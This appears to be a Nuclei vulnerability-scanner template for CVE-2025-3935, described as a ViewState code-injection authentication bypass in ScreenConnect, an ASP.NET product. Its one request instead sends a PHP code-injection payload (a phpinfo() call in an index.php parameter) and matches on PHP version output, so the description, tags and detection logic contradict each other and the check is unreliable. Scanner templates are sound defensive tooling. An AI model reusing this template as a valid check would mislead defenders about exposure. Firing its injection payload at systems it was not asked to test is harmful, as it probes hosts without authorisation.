id: CVE-2025-3935

info:
  name: "ScreenConnect - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    ScreenConnect versions 25.2.3 and earlier versions may be susceptible to a ViewState code injection attack.
    ASP.NET Web Forms use ViewState to preserve page and control state, with data encoded using Base64 protected
    by machine keys.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-3935&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=screenconnect&match=exact
  classification:
    cvss-score: 7.2
    cve-id: CVE-2025-3935
    cwe-id: CWE-287
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2025,screenconnect,phpinfo

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?x=%22.phpinfo().%22"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>phpinfo()"
          - "PHP Version"
        condition: or
      - type: status
        status:
          - 200